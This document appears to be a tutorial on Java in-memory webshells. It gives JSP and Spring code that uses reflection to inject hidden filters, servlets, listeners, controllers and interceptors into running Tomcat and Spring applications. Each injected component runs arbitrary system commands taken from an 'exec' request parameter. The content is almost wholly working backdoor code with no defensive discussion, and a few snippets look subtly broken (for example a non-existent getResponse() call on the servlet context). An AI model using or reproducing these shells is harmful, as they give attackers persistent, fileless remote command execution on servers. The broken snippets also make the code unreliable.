Tomcat In-Memory Shells
Servlet fundamentals are essential for understanding this topic. This section explores three types of in-memory shells:
Filter-Based Implemantation
Filters intercept requests before reaching servlets. This example demonstrates a basic filter:
public class ExampleFilter implements Filter {
public void init(FilterConfig config) throws ServletException {}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
chain.doFilter(request, response);
}
public void destroy() {}
}
To enject a malicious filter at runtime:
<%@ page import="java.lang.reflect.*,org.apache.catalina.*,org.apache.tomcat.util.descriptor.web.*" %>
<%
// Get StandardContext via reflection
ServletContext ctx = request.getServletContext();
Field appCtxField = ctx.getClass().getDeclaredField("context");
appCtxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext) appCtxField.get(ctx);
Field stdCtxField = appCtx.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext stdCtx = (StandardContext) stdCtxField.get(appCtx);
// Create malicious filter
Filter maliciousFilter = new Filter() {
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
throws IOException, ServletException {
if (req.getParameter("exec") != null) {
String[] command = System.getProperty("os.name").toLowerCase().contains("win") ?
new String[]{"cmd.exe","/c",req.getParameter("exec")} :
new String[]{"sh","-c",req.getParameter("exec")};
InputStream input = Runtime.getRuntime().exec(command).getInputStream();
java.util.Scanner scanner = new java.util.Scanner(input).useDelimiter("\\A");
res.getWriter().write(scanner.hasNext() ? scanner.next() : "");
}
chain.doFilter(req, res);
}
public void init(FilterConfig cfg) {}
public void destroy() {}
};
// Register filter
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("runtimeFilter");
filterDef.setFilterClass(maliciousFilter.getClass().getName());
stdCtx.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("runtimeFilter");
filterMap.addURLPattern("/*");
stdCtx.addFilterMapBefore(filterMap);
// Initialize filter
Constructor ctor = ApplicationFilterConfig.class
.getDeclaredConstructor(Context.class, FilterDef.class);
ctor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) ctor.newInstance(stdCtx, filterDef);
Field configsField = StandardContext.class.getDeclaredField("filterConfigs");
configsField.setAccessible(true);
((Map) configsField.get(stdCtx)).put("runtimeFilter", filterConfig);
%>
Servlet-Based Implementation
Malicious servlets can be dynamically registered:
<%@ page import="org.apache.catalina.*" %>
<%
Field reqField = request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request innerRequest = (Request) reqField.get(request);
StandardContext stdCtx = (StandardContext) innerRequest.getContext();
// Create malicious servlet
HttpServlet maliciousServlet = new HttpServlet() {
protected void service(HttpServletRequest req, HttpServletResponse res)
throws ServletException, IOException {
if (req.getParameter("exec") != null) {
String[] command = System.getProperty("os.name").toLowerCase().contains("win") ?
new String[]{"cmd.exe","/c",req.getParameter("exec")} :
new String[]{"sh","-c",req.getParameter("exec")};
InputStream input = Runtime.getRuntime().exec(command).getInputStream();
java.util.Scanner scanner = new java.util.Scanner(input).useDelimiter("\\A");
res.getWriter().write(scanner.hasNext() ? scanner.next() : "");
}
}
};
// Register servlet
Wrapper wrapper = stdCtx.createWrapper();
wrapper.setName("dynamicServlet");
wrapper.setServlet(maliciousServlet);
wrapper.setServletClass(maliciousServlet.getClass().getName());
stdCtx.addChild(wrapper);
stdCtx.addServletMappingDecoded("/*", "dynamicServlet");
%>
Listener-Based Implementation
ServletRequestListener implementations execute on every request:
<%@ page import="org.apache.catalina.*" %>
<%
Field reqField = request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request innerRequest = (Request) reqField.get(request);
StandardContext stdCtx = (StandardContext) innerRequest.getContext();
// Create malicious listener
ServletRequestListener maliciousListener = new ServletRequestListener() {
public void requestInitialized(ServletRequestEvent event) {
HttpServletRequest req = (HttpServletRequest) event.getServletRequest();
if (req.getParameter("exec") != null) {
try {
String[] command = System.getProperty("os.name").toLowerCase().contains("win") ?
new String[]{"cmd.exe","/c",req.getParameter("exec")} :
new String[]{"sh","-c",req.getParameter("exec")};
InputStream input = Runtime.getRuntime().exec(command).getInputStream();
java.util.Scanner scanner = new java.util.Scanner(input).useDelimiter("\\A");
req.getServletContext().getResponse().getWriter().write(scanner.hasNext() ? scanner.next() : "");
} catch (Exception e) { /* Handle exception */ }
}
}
public void requestDestroyed(ServletRequestEvent event) {}
};
stdCtx.addApplicationEventListener(maliciousListener);
%>
Spring In-Memory Shells
Controller-Based Implementation
Dynamic controller registration in Spring MVC:
@RestController
public class DynamicController {
@GetMapping("/register")
public void registerEndpoint() throws Exception {
// Get application context
WebApplicationContext ctx = (WebApplicationContext) RequestContextHolder
.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);
// Create malicious mapping
PatternsRequestCondition patterns = new PatternsRequestCondition("/");
RequestMappingInfo mappingInfo = new RequestMappingInfo(patterns, null, null, null, null, null, null);
// Create malicious handler
Method handlerMethod = MaliciousHandler.class.getMethod("execute", HttpServletRequest.class, HttpServletResponse.class);
mapping.registerMapping(mappingInfo, new MaliciousHandler(), handlerMethod);
}
public class MaliciousHandler {
public void execute(HttpServletRequest req, HttpServletResponse res) throws IOException {
if (req.getParameter("exec") != null) {
String[] command = System.getProperty("os.name").toLowerCase().contains("win") ?
new String[]{"cmd.exe","/c",req.getParameter("exec")} :
new String[]{"sh","-c",req.getParameter("exec")};
InputStream input = Runtime.getRuntime().exec(command).getInputStream();
java.util.Scanner scanner = new java.util.Scanner(input).useDelimiter("\\A");
res.getWriter().write(scanner.hasNext() ? scanner.next() : "");
}
}
}
}
Interceptor-Based Implemantation
HandlerInterceptor injection technique:
@RestController
public class InterceptorInjector {
@GetMapping("/inject-interceptor")
public void injectInterceptor() throws Exception {
WebApplicationContext ctx = (WebApplicationContext) RequestContextHolder
.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping handlerMapping = (AbstractHandlerMapping) ctx.getBean("requestMappingHandlerMapping");
// Access interceptor list
Field interceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
interceptorsField.setAccessible(true);
List<HandlerInterceptor> interceptors = (List<HandlerInterceptor>) interceptorsField.get(handlerMapping);
// Add malicious interceptor
interceptors.add(new HandlerInterceptor() {
public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object handler) {
if (req.getParameter("exec") != null) {
try {
String[] command = System.getProperty("os.name").toLowerCase().contains("win") ?
new String[]{"cmd.exe","/c",req.getParameter("exec")} :
new String[]{"sh","-c",req.getParameter("exec")};
Runtime.getRuntime().exec(command);
} catch (Exception e) { /* Handle exception */ }
}
return true;
}
});
}
}